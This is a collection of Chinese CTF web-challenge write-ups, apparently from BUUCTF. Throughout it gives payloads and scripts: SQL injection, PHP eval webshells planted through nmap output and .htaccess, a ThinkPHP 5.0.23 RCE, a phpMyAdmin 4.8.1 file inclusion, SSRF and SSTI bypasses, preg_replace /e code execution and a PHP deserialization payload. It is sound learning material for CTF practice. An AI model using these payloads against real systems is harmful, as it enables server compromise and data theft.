words
1
-1';desc `FlagHere`; #

新姿势

官方文档

HANDLER ... OPEN语句打开一个表,使其可以使用后续HANDLER ... READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭

1
2
-1';handler FlagHere open;handler FlagHere read first;handler FlagHere close #


[强网杯 2019]高明的黑客

思路就是用脚本匹配文件中的shell,然后试一试,抄的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# codeing = utf-8

import requests
import os
import re
import threading
import time

requests.adapters.DEFAULT_RETRIES = 8
session = requests.session()
session.keep_alive = False

sem=threading.Semaphore(30)

url="http://84fa677d-e4dd-47a1-9124-1823cc996d12.node3.buuoj.cn/"

path = "D:\DROPS\phpstudy_pro\WWW\ctf\src\\"
fileNames = os.listdir(path)

rrGET = re.compile(r"\$_GET\[\'(\w+)\'\]")
rrPOST = re.compile(r"\$_POST\[\'(\w+)\'\]")

local_file = open("flag.txt","w",encoding="utf-8")

def run(fileName):
with sem:
file = open(path+fileName,'r',encoding='utf-8')
content = file.read()
print("[+]checking: %s"%fileName)

#GET
for i in rrGET.findall(content):
r = session.get(url+"%s?%s=%s"%(fileName,i,"echo ~guobanghhh~"))
if "~guobanghhh~" in r.text:
flag = fileName + "中的" + i + "可以用!!!"
print(flag)
local_file.write(flag)

#POST
# for i in rrPOST.findall(content):
# r = session.post(url+fileName,data={i:"echo ~guobanghhh~"})
# if "~guobanghhh~" in r.text:
# flag = fileName + "中的" + i + "可以用!!!"
# print(flag)
# local_file.write(flag)

if __name__ == '__main__':
run("xk0SzyKwfzw.php")
start_time = time.time() # 开始时间
print("[start]程序开始:" + str(start_time))
thread_list = []
for fileName in fileNames:
t = threading.Thread(target=run,args=(fileName,))
thread_list.append(t)
for t in thread_list:
t.start()
for t in thread_list:
t.join()


[MRCTF2020]Ez_bypass

源码绕过即可,第一层注意使用的是强比较

payload

1
2
3
4
?id[]=1&gg[]=2

POST
passwd=1234567a

[BUUCTF 2018]Online Tool

利用了两个点

  1. nmap可以将扫描的结果存储在文件里。

  2. escapeshellarg+escapeshellcmd同时使用有一些漏洞

    谈谈escapeshellarg参数绕过和注入的问题

    PHP escapeshellarg()+escapeshellcmd() 之殇

payload

1
'<?php eval($_POST[_]) ?> -oG 1.php '

执行指令是会创建一个sandbox文件夹,访问1.php,POST传参

1
_=system('cat /flag')

加空格目的应该是为了防止文件名后缀中出现符号

1
2
3
4
5
6
7
8
<?php
$host = "'<?php eval($_POST[_]) ?> -oG 1.php '";
echo $host."\n";
$host = escapeshellarg($host);
echo $host."\n";
$host = escapeshellcmd($host);
echo $host."\n";

1
2
3
'<?php eval() ?> -oG 1.php '
''\''<?php eval() ?> -oG 1.php '\'''
''\\''\<\?php eval\(\) \?\> -oG 1.php '\\'''

[RoarCTF 2019]Easy Java

是java写的web程序

WEB-INF/web.xml泄露

WEB-INF主要包含一下文件或目录:

/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。

/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中

/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件

/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。

/WEB-INF/database.properties:数据库配置文件

漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码

重点不在登陆,是那个Help按钮,可以下载文件,首先去读web.xml文档,然后根据servlet下载Flag过滤器对应的class文件读源码


[GKCTF2020]cve版签到

CVE-2020-7066

只有一个按钮,点击以后查看网页的Network请求中有一个

Hint: Flag in localhost

且utl地址中有可控的参数,所以应该是使用ssrf。这里还有一个提示是在主页面那里

You just view *.ctfhub.com

只可以访问以ctfhub.com结尾的网站,再根据cve使用%00截断访问:

1
?url=http://127.0.0.1%00.ctfhub.com

第二个提示:

Host must be end with ‘123’

必须以123结尾,所以最终payload

1
?url=http://127.0.0.123%00.ctfhub.com

[GXYCTF2019]禁止套娃

git泄露。我使用的https://github.com/gakki429/Git_Extract

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

正则表达式匹配的只有函数的形式如var_dump();是一道无参数RCE,看的题解自己整理的payload:

1
?exp=var_dump(readfile(array_rand(array_flip(scandir(current(localeconv()))))));

一层一层解释:

localeconv() 函数返回一包含本地数字及货币格式信息的数组

图片展示

current() 返回数组中的当前单元, 默认取第一个值。别名pos()

到这里获得的是一个点

scandir() 遍历目录,是.的话就是列出当前目录。

此时输出:

1
array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(4) ".git" [3]=> string(8) "flag.php" [4]=> string(9) "index.php" }

这时的输出还是键值对的形式,我们需要使用array_flip()函数交换键值对,然后使用随机函数array_rand()从数组中随机取出一个或多个单元。因为正则的原因无法使用file_get_contents(),但是还有其他读取文件的函数:readfile()、highlight_file()和它的别名函数show_source()。


[GXYCTF2019]BabyUpload

ph过滤,image/gif不能通过。image/jpe可以

上传.htaccess

1
SetHandler application/x-httpd-php

上传码,但是不能是php代码,使用js

1
<script language="php">eval($_REQUEST[shell])</script>

完工


[BJDCTF 2nd]old-hack

ThinkPHP的漏洞

ThinkPHP5 5.0.23

1
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag

[安洵杯 2019]easy_web

看url一个img和cmd,页面中有一个图片的标签,和一个**md5 is funny ~**。把url中img的值进行解码发现图片名为555.png,尝试用同样的编码方式读取index.php,加密的编码依次为:hex–>base64–>base64。

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}

?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

我不知道为什么,我的bp一定要在&前加一个空格才可以通过。

1
2
3
4
5
?cmd=uniq%20/flag

POST
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

读文件的绕过有

1 more:一页一页的显示档案内容
2 less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
3 head:查看头几行
4 tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
5 tail:查看尾几行
6 nl:显示的时候,顺便输出行号
7 od:以二进制的方式读取档案内容
8 vi:一种编辑器,这个也可以查看
9 vim:一种编辑器,这个也可以查看
10 sort:可以查看
11 uniq:可以查看
12 file -f:报错出具体内容

摘自命令执行漏洞利用及绕过方式总结


[BJDCTF2020]Mark loves cat

git泄露

flag.php

1
2
3
<?php

$flag = file_get_contents('/flag');

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
$$x = $y;
}

foreach($_GET as $x => $y){
$$x = $$y;
}

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}



echo "the flag is: ".$flag;

尝试输出$flag即可。exit()函数退出时也会输出。

第一个不可能实现,如果POST或GET传入flag的话必然导致$flag修改,那么正好符合第二个if。

payload

1
2
3
4
5
GET
?yds=flag

POST(任意,但是需要保证不传flag)
is=233flag

[BJDCTF2020]The mystery of ip

hint.php里面有注释

Do you know why i know your ip?

去flag.php尝试加入请求头x-forward-x、client-ip发现ip可以改变。然后是自己感觉网页很简单,突破点在请求头中,尝试了下ssti模板注入,发现成功了。

尝试了几个ssti的payload不行,但是提示了

Uncaught –> Smarty Compiler:…………………

得知了这个是Smarty引擎,在网上尝试搜索这种类型的注入

1
X-Forwarded-For: {system('cat /flag')}

SSTI神器–Tplmap,看介绍是和sqlmap差不多的工具。


[GWCTF 2019]我有一个数据库

页面是乱码,想知道内容了可以看下图

$$各种乱码图

对照的是古文码。是以GBK方式读取UTF-8编码的中文,我举个例子,使用vscode,先通过编码保存–>GBK,再通过编码打开–>UTF-8。内容如下

我有一个数据库,但里面什么也没有~
不信你找

提示是数据库了,那么果断尝试PHPmyadmin,访问成功,然后查看下版本,去网上搜索对应版本的漏洞

phpmyadmin4.8.1后台getshell

payload

1
/phpmyadmin/index.php?target=db_sql.php%253f../../../../../../flag

可以包含任意文件,理应可以包含数据库文件,在数据库表字段写shell,没成不知道数据库文件名称


[BJDCTF2020]ZJCTF,不过如此

绕过

第一层用php伪协议中的data封装流。PHP伪协议总结

然后进入文件包含,提示包含next.php文件,还是使用php伪协议中的php://filter

payload

1
?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

读出来的next.php

1
PD9waHAKJGlkID0gJF9HRVRbJ2lkJ107CiRfU0VTU0lPTlsnaWQnXSA9ICRpZDsKCmZ1bmN0aW9uIGNvbXBsZXgoJHJlLCAkc3RyKSB7CiAgICByZXR1cm4gcHJlZ19yZXBsYWNlKAogICAgICAgICcvKCcgLiAkcmUgLiAnKS9laScsCiAgICAgICAgJ3N0cnRvbG93ZXIoIlxcMSIpJywKICAgICAgICAkc3RyCiAgICApOwp9CgoKZm9yZWFjaCgkX0dFVCBhcyAkcmUgPT4gJHN0cikgewogICAgZWNobyBjb21wbGV4KCRyZSwgJHN0cikuICJcbiI7Cn0KCmZ1bmN0aW9uIGdldEZsYWcoKXsKCUBldmFsKCRfR0VUWydjbWQnXSk7Cn0K

base64解码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

这里想要通过需要知道一个深入研究 preg_replace /e 模式下的代码漏洞问题

最终payload

1
next.php?\S*=${getFlag()}&cmd=system('cat /flag');

[De1CTF 2019]SSRF Me

进入页面是一堆源码,之前写过flask的可以大概理出来几个重要的点,但是还是贴一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#! /usr/bin/env python
# encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json

reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if (not os.path.exists(self.sandbox)): # SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param) # 此处是文件读取得注入点
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False


# generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)


@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if (waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())


@app.route('/')
def index():
return open("code.txt", "r").read()


def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"


def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
return hashlib.md5(content).hexdigest()


def waf(param):
check = param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False


if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')

简单说明思路:

请求部分(代码69-78):

获取的param是需要打开文件的名称,提示中已经写出flag在flag.txt。根据使用函数,可以使用get传参
读取文件需要在cookie里传入参数action、sign
action是执行类型,代码33行和43行指出了两种。
sing是用来验证param和action的,相关函数在94行,稍后做解释

获取sign部分(61-66)

获取param,action固定为scan
返回(secert_key + param + action)组合的sign

所以我们需要先获取sign,获取sign时包含的param和action,再去请求文件获得flag,并且获取flag时会验证sign是否符合格式(代码32行、54-58行)。因为获取sign时action固定为scan(代码65),但是请求中我们需要使用read才可以访问,所以构造payload。

假如param=flag.txt,获取sign时action固定值为scan,此时的sign为(使用|仅为说明使用,其实字符串是相连的)

1
secert_key|flag.txt|scan

但是我们想要使用read,可以构造param为flag.txtread

1
secert_key|flag.txtread|scan

再进行验证的时候我们传入param为flag.txt,action为readscan即可符合格式。

1
secert_key|flag.txt|readscan

请求/geneSign

1
/geneSign?param=flag.txtread

得到

1
9017a8826b7267833f22c0f22d90fea7

得到sign以后,再去访问/De1ta

1
2
3
/De1ta?param=flag.txt

sign=9017a8826b7267833f22c0f22d90fea7;action=readscan;

获得flag


[网鼎杯 2020 朱雀组]phpweb

看源码,有一个表单和自动提交的js。表单参数为

1
func=date&p=Y-m-d+h%3Ai%3As+a

是一个获取时间的函数。尝试注入点func是函数,就试试常见的读取文件函数readfile可以读取index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>

我没思路了,看的网上wp。使用了反序列化unserialize,实在是太斯巴拉西了。

先构造Test对象,对象销毁时也会执行gettime函数执行payload,记得要加一层urlencode,不然会被拦下

1
2
3
4
5
6
7
8
9
10
11
<?php
class Test {
var $p = "ls ../../../../";

var $func = "system";
}
$s=new Test();
echo urlencode(serialize($s));
#unserialize

O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A15%3A%22ls+..%2F..%2F..%2F..%2F%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D

wp使用的是find指令找的flag地址,但是我执行以后出现503,应该是服务器防火墙阳气过盛,但是使用ls的方法一个一个找也能找得到。flag在/tmp/flagoefiu4r93

1
2
POST
func=unserialize&p=O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A18%3A%22ls+..%2F..%2F..%2F..%2Ftmp%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D

最后读文件

1
func=readfile&p=../../../../tmp/flagoefiu4r93

[GKCTF2020]CheckIN

是用base64解码执行代码,使用Ginkgo接收,GET、POST都可以

1
2
phpinfo();
cGhwaW5mbygpOw==

查看php版本和disable_function,被禁用一大堆,包括好多命令执行函数

可以使用print_r()、var_dump()输出,scandir()看目录,file_get_contents()读文件内容。

scandir根目录查看

1
?Ginkgo=cHJpbnRfcihzY2FuZGlyKCcuLi8uLi8uLi8uLi8nKSk7

又一个flag读不出来,但是还有一个readflag可以读出来,文件前缀是ELF,百度以后知道是linux的可执行文件,system()被禁,只能使用disable_function绕过,正好蚁剑的插件市场上有这个插件

传码

1
2
eval($_POST[1]);
ZXZhbCgkX1BPU1RbMV0pOw==